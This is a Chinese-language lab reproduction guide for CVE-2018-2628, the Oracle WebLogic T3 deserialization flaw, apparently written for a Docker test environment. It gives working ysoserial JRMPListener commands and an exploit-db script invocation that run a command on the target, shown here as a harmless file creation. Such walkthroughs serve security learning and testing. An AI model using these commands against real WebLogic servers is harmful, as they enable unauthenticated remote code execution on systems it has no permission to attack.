Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
访问http://your-ip:7001/console
,初始化整个环境。
漏洞复现
首先下载ysoserial,并启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/success'
其中,`[command]`即为我想执行的命令,而`[listen port]`是JRMP Server监听的端口。
然后,使用[exploit.py](https://www.exploit-db.com/exploits/44553)脚本,向目标Weblogic(`http://your-ip:7001`)发送数据包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
python2 exp.py 192.168.188.139 7001 /home/kali/Desktop/ysoserial-all.jar 192.168.188.139 1099 JRMPClient
其中,`[victim ip]`和`[victim port]`是目标weblogic的IP和端口,`[path to ysoserial]`是本地ysoserial的路径,`[JRMPListener ip]`和`[JRMPListener port]`第一步中启动JRMP Server的IP地址和端口。`[JRMPClient]`是执行JRMPClient的类,可选的值是`JRMPClient`或`JRMPClient2`。
exploit.py执行完成后,执行docker compose exec weblogic bash
进入容器中,可见/tmp/success已成功创建。